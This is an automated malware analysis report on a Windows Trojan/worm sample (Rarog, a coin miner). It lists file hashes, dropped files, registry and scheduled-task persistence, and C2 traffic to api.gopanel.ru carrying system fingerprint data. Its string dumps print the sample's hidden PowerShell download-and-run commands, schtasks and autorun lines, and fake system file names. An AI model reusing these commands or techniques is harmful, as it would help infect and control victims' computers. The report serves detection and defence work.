Trojan.Win32.Skeeyah.Arfn_b0e05d69f6

by malwarelabrobot on March 29th, 2018 in Malware Descriptions.

Trojan.GenericKD.6242851 (BitDefender), Trojan:Win32/Skeeyah.A!rfn (Microsoft), Trojan-Downloader.Win32.Upatre.ggzd (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Trojan.GenericKD.6242851 (B) (Emsisoft), Generic.adw (McAfee), Trojan.Gen.2 (Symantec), Trojan.Win32.CoinMiner (Ikarus), Win32:Malware-gen (AVG), Win32:Malware-gen (Avast), GenericAutorunWorm.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Trojan, Worm, WormAutorun, Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: b0e05d69f6a9c6bbb13b90b2af157639
SHA1: 6b0ec490b3bf45b2180a82074c3ba1ebb498a502
SHA256: 33c0bdf0ac7e85fed995cf5eac22d56e049932e912f1a19698f108e8eb7deb54
SSDeep: 49152:FaCmP/s4oTkiYHYxx30D6zRYl/egMrZET98aLkKP8/LyJIJr:EsqYa/ePEL8/L
Size: 1960448 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: MediaGet LLC
Created at: 2017-11-17 09:41:51
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Behaviour Description
WormAutorun A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.


Process activity

The Trojan creates the following process(es):

%original file name%.exe:2448
cscript.exe:3088
cscript.exe:3124

The Trojan injects its code into the following process(es):

WerFault.exe:3300
Isass.exe:4000

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:2448 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe (14071 bytes)

The process cscript.exe:3088 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk (1 bytes)

The process cscript.exe:3124 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk (1 bytes)

The process Isass.exe:4000 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe (14071 bytes)
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe (14071 bytes)
C:\ProgramData\WindowsAppCertification\checker.vbs (356 bytes)
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\muxu.exe (371404 bytes)
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat (5 bytes)
C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1 (1358 bytes)
C:\ProgramData\WindowsAppCertification\cert.cmd (606 bytes)
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe (14071 bytes)

Registry activity

The process WerFault.exe:3300 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "17 04 00 C0 01 00 00 00 00 00 00 00 FD CE 25 00"

[HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Debug\UIHandles]
"FirstLevelConsentDialog" = "Type: REG_QWORD, Length: 8"

[HKCU\Software\Microsoft\Windows\Windows Error Reporting\Debug\UIHandles]
"FirstLevelConsentDialog" = "Type: REG_QWORD, Length: 8"

The process %original file name%.exe:2448 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process Isass.exe:4000 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows]
"Kopatel" = "install=done"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"
"AutoDetect" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Windows_Antimalware_Host_Syst" = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

VersionInfo

Company Name: Microsoft Corporation
Product Name: HD Player
Product Version: 10.0.15063.0
Legal Copyright: (c) Microsoft Corporation. All rights reserved.
Legal Trademarks:
Original Filename: AxInstUI.exe
Internal Name: AxInstUI
File Version: 10.0.15063.0 (WinBuild.160101.0800)
File Description: ActiveX Installer Service
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 322901 0 0 d41d8cd98f00b204e9800998ecf8427e
.rdata 327680 95322 0 0 d41d8cd98f00b204e9800998ecf8427e
.data 425984 13648 0 0 d41d8cd98f00b204e9800998ecf8427e
.sdfds0 442368 807782 0 0 d41d8cd98f00b204e9800998ecf8427e
.sdfds1 1253376 1907104 1907200 5.39116 c0c8a732be600ccb3df6b8312a7417a2
.reloc 3162112 2008 2048 3.08625 054554b524be96a5b4ad716b309a1f79
.rsrc 3166208 50046 50176 3.01799 23cae5dcdb1cd108c0bb1ddf5540e6d5

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://api.gopanel.ru/2.0/method/checkConnection 104.31.77.122
hxxp://api.gopanel.ru/2.0/method/error 104.31.77.122
hxxp://api.gopanel.ru/4.0/method/installSuccess 104.31.77.122


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /2.0/method/checkConnection HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 0
Host: api.gopanel.ru


HTTP/1.1 200 OK
Date: Wed, 28 Mar 2018 06:13:15 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=dd3408a5ef38f5bc0d49b5a0d7d3225e41522217595; expires=Thu, 28-Mar-19 06:13:15 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 4027f325e6e98b34-KBP
c..c3VjY2Vzcw==..0......


POST /2.0/method/error HTTP/1.1


Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 9
Host: api.gopanel.ru

profile=1
HTTP/1.1 200 OK
Date: Wed, 28 Mar 2018 06:13:15 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=dd3408a5ef38f5bc0d49b5a0d7d3225e41522217595; expires=Thu, 28-Mar-19 06:13:15 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 4027f32677138b34-KBP
0..HTTP/1.1 200 OK..Date: Wed, 28 Mar 2018 06:13:15 GMT..Content-Type:
 text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: kee
p-alive..Set-Cookie: __cfduid=dd3408a5ef38f5bc0d49b5a0d7d3225e41522217
595; expires=Thu, 28-Mar-19 06:13:15 GMT; path=/; domain=.gopanel.ru; 
HttpOnly..Vary: Accept-Encoding..Server: cloudflare..CF-RAY: 4027f3267
7138b34-KBP..0..



POST /2.0/method/checkConnection HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 0
Host: api.gopanel.ru


HTTP/1.1 200 OK
Date: Wed, 28 Mar 2018 06:13:15 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=dd3408a5ef38f5bc0d49b5a0d7d3225e41522217595; expires=Thu, 28-Mar-19 06:13:15 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 4027f32616fb8b34-KBP
c..c3VjY2Vzcw==..0..HTTP/1.1 200 OK..Date: Wed, 28 Mar 2018 06:13:15 G
MT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked
..Connection: keep-alive..Set-Cookie: __cfduid=dd3408a5ef38f5bc0d49b5a
0d7d3225e41522217595; expires=Thu, 28-Mar-19 06:13:15 GMT; path=/; dom
ain=.gopanel.ru; HttpOnly..Vary: Accept-Encoding..Server: cloudflare..
CF-RAY: 4027f32616fb8b34-KBP..c..c3VjY2Vzcw==..0......


POST /4.0/method/installSuccess HTTP/1.1


Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 217
Host: api.gopanel.ru

buildID=5.1&hwid={e29ac6c0-7037-11de-816d-806e6f6e6963}&profile=1&os=Microsoft Windows 7 Ultimate &platform=x86&processor=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz&videocard=VMware SVGA 3D (Microsoft Corporation - WDDM)
HTTP/1.1 200 OK
Date: Wed, 28 Mar 2018 06:13:18 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=dbc53ca4f95f243c3e88bf1dd5418f13d1522217598; expires=Thu, 28-Mar-19 06:13:18 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 4027f33562c38b34-KBP
5..41642..0..HTTP/1.1 200 OK..Date: Wed, 28 Mar 2018 06:13:18 GMT..Con
tent-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Conne
ction: keep-alive..Set-Cookie: __cfduid=dbc53ca4f95f243c3e88bf1dd5418f
13d1522217598; expires=Thu, 28-Mar-19 06:13:18 GMT; path=/; domain=.go
panel.ru; HttpOnly..Vary: Accept-Encoding..Server: cloudflare..CF-RAY:
 4027f33562c38b34-KBP..5..41642..0..

The Trojan connects to the servers at the folowing location(s):

Isass.exe_4000:

.text
`.rdata
@.data
.sdfds0
`.sdfds1
`.reloc
@.rsrc
j.Yf;
_tcPVj@
.PjRW
operation not permitted
address family not supported
broken pipe
function not supported
inappropriate io control operation
not supported
operation canceled
operation in progress
operation not supported
operation would block
protocol not supported
InitOnceExecuteOnce
operator
operator ""
operator co_await
GetProcessWindowStation
?#%X.y
%S#[k
MaxPolicyElementKey
pExecutionResource
C:\ProgramData\MicrosoftCorporation\Windows\Modules\
C:\ProgramData\MicrosoftCorporation\Windows\Modules
autorun.inf
autorun.exe
open = autorun.exe
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat
{EXE_NAME}
{EXE_PATH}
C:\ProgramData\WindowsAppCertification
WindowHelperStorageHostSystemThread.ps1
$furl = 'hXXp://
C:\ProgramData\WindowsAppCertification\
$path = 'C:\ProgramData\MicrosoftCorporation\Windows\System32\'
$fpath = $path   'Isass.exe'
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($furl,$fpath)
C:\ProgramData\WindowsAppCertification\checker.vbs
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\ProgramData\WindowsAppCertification\cert.cmd",0
C:\ProgramData\WindowsAppCertification\cert.cmd
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\
C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe
Software\Microsoft\Windows\CurrentVersion\Run
Windows_Antimalware_Host_Syst
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}
/c timeout 5 & taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RMDIR /s/q "C:\ProgramData\MicrosoftCorporation" & exit
open_url
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
C:\ProgramData\MicrosoftCorporation
C:\ProgramData\MicrosoftCorporation\Windows
C:\ProgramData\MicrosoftCorporation\Windows\System32
SELECT * FROM Win32_OperatingSystem
ntdll.dll
.?AVstl_condition_variable_concrt@details@Concurrency@@
.?AVstl_critical_section_concrt@details@Concurrency@@
.?AVunsupported_os@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AUIExecutionContext@Concurrency@@
.?AU_Crt_new_delete@std@@
*8C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
tJ#@%C
%CuS,
U%FJe"1
;.WMZ
f%SGf 
4.EH)
jÛw
M{ó
%dM/"
,7.YvFMJ
WinHttpSendRequest
ADVAPI32.dll
m}^
SHFileOperationW
s.UTV
Sqlu"
WinHttpReadData
.KmItC
RegOpenKeyExA
dU.In
.oiw1
ole32.dll
WS2_32.dll
WinHttpOpenRequest
OLEAUT32.dll
3.Mrh
GetProcessHeap
d%f?*SF
RegOpenKeyExW
WINHTTP.dll
-%8U)l
WinHttpOpen
WinHttpCloseHandle
KZF.Is
GetCPInfo
RegCloseKey
K7".Ey
EmJ$%Fiv
a.liD
i.xv,L
#-L}v`
jp4.XFZ|}
#y.kP?
]%SvYD
Wc6-.Aj
<K@-%DP
vbc\.EXr
%f_b~
t3.rwZ
%D&-}
!%X#x
29.lVr
.ya{t
W<i.QE[d
.qI:F
o>SqL
.Zg#o7/
%X^ %
.jo~\
.fdY8@
SO(À
sLoZ
?.SHW
^H.qv
.gGB}
-L.sU
%0X,%_>V
%U')n
yO.ZH
7url]
6^s%Uu
..jms<m
.dKmE
4T.Dp
[;n.oP
(%S<g
%ul_J
g.WF6
].AVo
WinHttpReceiveResponse
Wk.JH
%.X?s?:8
.bS>mv
,.MB#
.QlCX
zG=%xrc
.lJ1MI"C
Q,oÖ
o%DG%
%X>T*
.hA!l
%f^?<
%C&C(
.xDZ(2
KERNEL32.dll
WinHttpQueryDataAvailable
USER32.dll
ShellExecuteW
j%sXg
SHELL32.dll
WinHttpConnect
cOXY/P.Z0.0.QR00/ZPP0000000/0PPZR.BI@/DE0,
version="5.1.0.0"
name="Microsoft.Windows.AxInstaller.UI"
<requestedExecutionLevel
api-ms-win-core-synch-l1-2-0.dll
kernel32.dll
mscoree.dll
Assertion failed: %Ts, file %Ts, line %d
ext-ms-win-ntuser-windowstation-l1-1-0
portuguese-brazilian
combase.dll
advapi32.dll
Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Type: application/x-www-form-urlencoded
Rarog.cpp
/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "C:\ProgramData\WindowsAppCertification\checker.vbs" /F
schtasks.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers
SecurityHeaIthService.exe
SystemldleProcess.exe
winIogon.exe
Isass.exe
taskmgr.exe
C:\Windows\System32\cmd.exe
/c erase %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk
/delete /tn Windows_Antimalware_Host_Systm /f
/delete /tn Windows_Antimalware_Host /f
C:\ProgramData\WindowsAppCertification\*.*
/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" /F
/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs
tC:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\*.*
/c taskkill /im Isass.exe /f & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
Software\Microsoft\Windows
/c taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RENAME C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe Isass.exe & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
10.0.15063.0 (WinBuild.160101.0800)
AxInstUI.exe
Windows
Operating System
10.0.15063.0

SecurityHeaIthService.exe_3196:

.text
`.rdata
@.data
.sdfds0
`.sdfds1
`.reloc
@.rsrc
j.Yf;
_tcPVj@
.PjRW
operation not permitted
address family not supported
broken pipe
function not supported
inappropriate io control operation
not supported
operation canceled
operation in progress
operation not supported
operation would block
protocol not supported
InitOnceExecuteOnce
operator
operator ""
operator co_await
GetProcessWindowStation
?#%X.y
%S#[k
MaxPolicyElementKey
pExecutionResource
C:\ProgramData\MicrosoftCorporation\Windows\Modules\
C:\ProgramData\MicrosoftCorporation\Windows\Modules
autorun.inf
autorun.exe
open = autorun.exe
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat
{EXE_NAME}
{EXE_PATH}
C:\ProgramData\WindowsAppCertification
WindowHelperStorageHostSystemThread.ps1
$furl = 'hXXp://
C:\ProgramData\WindowsAppCertification\
$path = 'C:\ProgramData\MicrosoftCorporation\Windows\System32\'
$fpath = $path   'Isass.exe'
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($furl,$fpath)
C:\ProgramData\WindowsAppCertification\checker.vbs
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\ProgramData\WindowsAppCertification\cert.cmd",0
C:\ProgramData\WindowsAppCertification\cert.cmd
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\
C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe
Software\Microsoft\Windows\CurrentVersion\Run
Windows_Antimalware_Host_Syst
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}
/c timeout 5 & taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RMDIR /s/q "C:\ProgramData\MicrosoftCorporation" & exit
open_url
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
C:\ProgramData\MicrosoftCorporation
C:\ProgramData\MicrosoftCorporation\Windows
C:\ProgramData\MicrosoftCorporation\Windows\System32
SELECT * FROM Win32_OperatingSystem
ntdll.dll
.?AVstl_condition_variable_concrt@details@Concurrency@@
.?AVstl_critical_section_concrt@details@Concurrency@@
.?AVunsupported_os@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AUIExecutionContext@Concurrency@@
.?AU_Crt_new_delete@std@@
tJ#@%C
%CuS,
U%FJe"1
;.WMZ
f%SGf 
4.EH)
jÛw
M{ó
%dM/"
,7.YvFMJ
WinHttpSendRequest
ADVAPI32.dll
m}^
SHFileOperationW
s.UTV
Sqlu"
WinHttpReadData
.KmItC
RegOpenKeyExA
dU.In
.oiw1
ole32.dll
WS2_32.dll
WinHttpOpenRequest
OLEAUT32.dll
3.Mrh
GetProcessHeap
d%f?*SF
RegOpenKeyExW
WINHTTP.dll
-%8U)l
WinHttpOpen
WinHttpCloseHandle
KZF.Is
GetCPInfo
RegCloseKey
K7".Ey
EmJ$%Fiv
a.liD
i.xv,L
#-L}v`
jp4.XFZ|}
#y.kP?
]%SvYD
Wc6-.Aj
<K@-%DP
vbc\.EXr
%f_b~
t3.rwZ
%D&-}
!%X#x
29.lVr
.ya{t
W<i.QE[d
.qI:F
o>SqL
.Zg#o7/
%X^ %
.jo~\
.fdY8@
SO(À
sLoZ
?.SHW
^H.qv
.gGB}
-L.sU
%0X,%_>V
%U')n
yO.ZH
7url]
6^s%Uu
..jms<m
.dKmE
4T.Dp
[;n.oP
(%S<g
%ul_J
g.WF6
].AVo
WinHttpReceiveResponse
Wk.JH
%.X?s?:8
.bS>mv
,.MB#
.QlCX
zG=%xrc
.lJ1MI"C
Q,oÖ
o%DG%
%X>T*
.hA!l
%f^?<
%C&C(
.xDZ(2
KERNEL32.dll
WinHttpQueryDataAvailable
USER32.dll
ShellExecuteW
j%sXg
SHELL32.dll
WinHttpConnect
cOXY/P.Z0.0.QR00/ZPP0000000/0PPZR.BI@/DE0,
version="5.1.0.0"
name="Microsoft.Windows.AxInstaller.UI"
<requestedExecutionLevel
api-ms-win-core-synch-l1-2-0.dll
kernel32.dll
mscoree.dll
Assertion failed: %Ts, file %Ts, line %d
ext-ms-win-ntuser-windowstation-l1-1-0
portuguese-brazilian
combase.dll
advapi32.dll
Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Type: application/x-www-form-urlencoded
Rarog.cpp
/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "C:\ProgramData\WindowsAppCertification\checker.vbs" /F
schtasks.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers
SecurityHeaIthService.exe
SystemldleProcess.exe
winIogon.exe
Isass.exe
taskmgr.exe
C:\Windows\System32\cmd.exe
/c erase %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk
/delete /tn Windows_Antimalware_Host_Systm /f
/delete /tn Windows_Antimalware_Host /f
C:\ProgramData\WindowsAppCertification\*.*
/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" /F
/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs
tC:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\*.*
/c taskkill /im Isass.exe /f & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
Software\Microsoft\Windows
/c taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RENAME C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe Isass.exe & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
10.0.15063.0 (WinBuild.160101.0800)
AxInstUI.exe
Windows
Operating System
10.0.15063.0

SystemldleProcess.exe_2476:

.text
`.rdata
@.data
.sdfds0
`.sdfds1
`.reloc
@.rsrc
j.Yf;
_tcPVj@
.PjRW
operation not permitted
address family not supported
broken pipe
function not supported
inappropriate io control operation
not supported
operation canceled
operation in progress
operation not supported
operation would block
protocol not supported
InitOnceExecuteOnce
operator
operator ""
operator co_await
GetProcessWindowStation
?#%X.y
%S#[k
MaxPolicyElementKey
pExecutionResource
C:\ProgramData\MicrosoftCorporation\Windows\Modules\
C:\ProgramData\MicrosoftCorporation\Windows\Modules
autorun.inf
autorun.exe
open = autorun.exe
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat
{EXE_NAME}
{EXE_PATH}
C:\ProgramData\WindowsAppCertification
WindowHelperStorageHostSystemThread.ps1
$furl = 'hXXp://
C:\ProgramData\WindowsAppCertification\
$path = 'C:\ProgramData\MicrosoftCorporation\Windows\System32\'
$fpath = $path   'Isass.exe'
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($furl,$fpath)
C:\ProgramData\WindowsAppCertification\checker.vbs
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\ProgramData\WindowsAppCertification\cert.cmd",0
C:\ProgramData\WindowsAppCertification\cert.cmd
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\
C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe
Software\Microsoft\Windows\CurrentVersion\Run
Windows_Antimalware_Host_Syst
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}
/c timeout 5 & taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RMDIR /s/q "C:\ProgramData\MicrosoftCorporation" & exit
open_url
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
C:\ProgramData\MicrosoftCorporation
C:\ProgramData\MicrosoftCorporation\Windows
C:\ProgramData\MicrosoftCorporation\Windows\System32
SELECT * FROM Win32_OperatingSystem
ntdll.dll
.?AVstl_condition_variable_concrt@details@Concurrency@@
.?AVstl_critical_section_concrt@details@Concurrency@@
.?AVunsupported_os@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AUIExecutionContext@Concurrency@@
.?AU_Crt_new_delete@std@@
tJ#@%C
%CuS,
U%FJe"1
;.WMZ
f%SGf 
4.EH)
jÛw
M{ó
%dM/"
,7.YvFMJ
WinHttpSendRequest
ADVAPI32.dll
m}^
SHFileOperationW
s.UTV
Sqlu"
WinHttpReadData
.KmItC
RegOpenKeyExA
dU.In
.oiw1
ole32.dll
WS2_32.dll
WinHttpOpenRequest
OLEAUT32.dll
3.Mrh
GetProcessHeap
d%f?*SF
RegOpenKeyExW
WINHTTP.dll
-%8U)l
WinHttpOpen
WinHttpCloseHandle
KZF.Is
GetCPInfo
RegCloseKey
K7".Ey
EmJ$%Fiv
a.liD
i.xv,L
#-L}v`
jp4.XFZ|}
#y.kP?
]%SvYD
Wc6-.Aj
<K@-%DP
vbc\.EXr
%f_b~
t3.rwZ
%D&-}
!%X#x
29.lVr
.ya{t
W<i.QE[d
.qI:F
o>SqL
.Zg#o7/
%X^ %
.jo~\
.fdY8@
SO(À
sLoZ
?.SHW
^H.qv
.gGB}
-L.sU
%0X,%_>V
%U')n
yO.ZH
7url]
6^s%Uu
..jms<m
.dKmE
4T.Dp
[;n.oP
(%S<g
%ul_J
g.WF6
].AVo
WinHttpReceiveResponse
Wk.JH
%.X?s?:8
.bS>mv
,.MB#
.QlCX
zG=%xrc
.lJ1MI"C
Q,oÖ
o%DG%
%X>T*
.hA!l
%f^?<
%C&C(
